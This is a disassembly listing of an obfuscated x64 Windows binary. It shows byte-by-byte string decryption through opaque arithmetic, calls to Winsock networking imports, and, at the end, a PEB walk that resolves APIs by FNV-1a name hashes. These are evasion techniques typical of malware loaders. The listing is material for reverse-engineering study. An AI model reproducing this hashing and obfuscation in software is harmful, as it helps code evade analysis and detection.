sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x1401f8391
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x1401f7f4a
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x1401f832c
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f8329
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401f82dc
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1401f82b6
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x1401f7fd7
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x1401f826d
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x1401f7f07
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f7d8e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f7f36
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f83e4
cmp rdi, rcx
jne 0x1401f7f61
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f8361
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f7f90
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f82dc
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f7fbb
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x1401f82b6
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f7d8e
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f82b3
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f801b
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f826d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f804a
movabs rdx, 0x7af3a63a470207ce
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f82b6
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f8075
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x1401f8329
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f80a0
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x1401f8361
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f7d37
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x1401f83e4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f80ec
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x1401f7f1f
cmp rdi, rcx
jne 0x1401f8112
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
jmp 0x1401f8207
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f813d
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x1401f8329
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f815a
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_45
jmp 0x1401f7fd7
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f7ce5
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x1401f826f
mov byte [rbp + r9 + 0xb50], bl
jmp 0x1401f83f3
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xb50]
add bl, r8b
jmp 0x1401f82da
movabs rdx, 0x987da776f24058c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0xb50]
sub bl, 0x5c
jmp 0x1401f835f
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x1401f8391
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x1401f832c
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401f82b6
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xb50], cl
jmp 0x1401f82b3
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
add r10, r15
sub r9, r15
jmp 0x1401f83f3
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xb50], cl
jmp 0x1401f8329
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401f83f3
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x12
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xb50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xb50], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401f83e4
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xb50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401f78ad
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f78aa
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x1401f789a
lea rdx, [rbp + 0x16000c8]
jmp 0x1401f845c
lea rdx, [rbp + 0x1026be2]
jmp 0x1401f845c
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0xf8]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2520]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f8491
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2520]
call fcn.140174580
nop
lea rcx, [rbp + 0x2520]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2520]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x520], Ordinal_60
mov byte [rbp + 0x521], Ordinal_143
mov byte [rbp + 0x522], 0x61
mov byte [rbp + 0x523], 0xf3
mov byte [rbp + 0x524], 0x5a
mov byte [rbp + 0x525], 0xf1
mov byte [rbp + 0x526], 0x62
mov byte [rbp + 0x527], 0xf7
mov byte [rbp + 0x528], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x529], 0xf5
mov byte [rbp + 0x52a], 0x5b
mov byte [rbp + 0x52b], 0xfb
mov byte [rbp + 0x52c], WSASetLastError
mov byte [rbp + 0x52d], 0xf9
mov byte [rbp + 0x52e], 0x5b
mov byte [rbp + 0x52f], 0xff
mov byte [rbp + 0x530], r14b
mov byte [rbp + 0x531], 0xfd
mov byte [rbp + 0x532], 0x59
mov byte [rbp + 0x533], 0xe3
mov byte [rbp + 0x534], Ordinal_79
mov byte [rbp + 0x535], 0xe1
mov byte [rbp + 0x536], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x537], 0xe7
mov byte [rbp + 0x538], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x539], 0xe5
mov byte [rbp + 0x53a], 0x7f
mov byte [rbp + 0x53b], 0xeb
mov byte [rbp + 0x53c], 0x7a
mov byte [rbp + 0x53d], 0xe9
mov byte [rbp + 0x53e], Ordinal_79
mov byte [rbp + 0x53f], 0xef
mov byte [rbp + 0x540], 0x7a
mov byte [rbp + 0x541], 0xed
mov byte [rbp + 0x542], 0x88
mov byte [rbp + 0x543], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x544], 0x84
mov byte [rbp + 0x545], Ordinal_211
mov byte [rbp + 0x546], Ordinal_217
mov byte [rbp + 0x547], Ordinal_217
xor eax, eax
mov qword [rbp + 0x548], rax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x1401f916c
movzx r8d, byte [rbp + r9 + 0x520]
mov rdx, r8
cmp rdi, r9
ja 0x1401f9163
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f864e
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x4e
jmp 0x1401f8692
je 0x1401f90e2
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f905d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f9031
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f8fe6
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f8f95
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401f915a
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x1401f86b8
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x1401f88cd
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f8f83
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f8f60
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f8f3a
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f8f14
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f8ef6
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x1401f8be8
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f8bc7
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f8ba1
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401f8b7e
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401f8b6a
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401f8b47
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f8b24
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f8b10
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401f8aed
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401f8ad9
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401f8706
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1401f9137
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401f9114
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401f8907
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1401f88e4
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401f88be
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401f8ab8
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1401f8a97
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401f8a73
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x1401f8a48
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401f8706
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401f8a34
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401f8a13
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401f89f2
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401f89de
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401f89bb
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401f8997
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401f8974
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401f8951
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401f892d
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401f8706
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x1401f8706
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f86f9
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x1401f8692
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f8616
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f8fb1
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x1401f8fdb
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401f8fde
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f9002
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401f902c
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401f8f23
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x1401f8eef
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x1401f8b09
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x1401f8dd4
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x520], bl
jmp 0x1401f910c
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f8c7e
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x1401f8c46
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x1401f8c0b
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401f8dd4
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1401f90b0
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401f8cf3
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401f904c
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1401f902c
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_45
jmp 0x1401f89a6
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401f8fde
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f8fdb
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x1401f8fb1
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x1401f8cb2
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x80
je 0x1401f8ec8
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x1401f8d52
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x1401f8ea2
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401f8deb
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 9
jb 0x1401f8a66
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401f8fb3
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f8cde
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401f90fd
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f8d05
movabs rdx, 0xb8b05b574343cd24
mov ecx, esi
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401f8eec
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f8d31
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401f904c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f8c0d
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401f8f49
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f8d6f
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x1401f893c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f8d9b
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401f8fdb
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f8db8
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x1401f89a6
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401f8c48
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f90fd
jne 0x1401f8e10
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401f90fd
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f8e3a
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401f8eef
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f8e57
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1401f8f23
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f8e81
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x1401f9002
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401f8c80
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401f893c
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x520]
sub bl, al
sub bl, 0x50
jmp 0x1401f89b3
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x520]
add bl, r8b
add bl, dl
jmp 0x1401f907e
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x1401f8eef
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f904c
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f902c
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f8fde
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
jmp 0x1401f893c
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x520], cl
add r10, r15
sub r9, r15
jmp 0x1401f910c
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, bl
sub r8b, sil
mov byte [rbp + r9 + 0x520], r8b
add rdi, r10
jmp 0x1401f904c
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401f910c
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x520], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x520], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401f90fd
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x520]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401f8603
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x1401f8600
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x1401f85f0
lea r12, [rbp + 0x145e2c8]
jmp 0x1401f9173
lea r12, [rbp + 0x136aa06]
jmp 0x1401f9173
lea r12, [rbp + 0x520]
mov r10, qword [0x1404dbc30]
test r10, r10
jne 0x1401f92e3
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f91ef
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f91e2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f91d3
cmp edx, esi
jne 0x1401f92c1
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401f92c1
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401f92c1
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f9243
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f9238
cmp edx, r14d
je 0x1401f9259
test r10d, r10d
jne 0x1401f9223
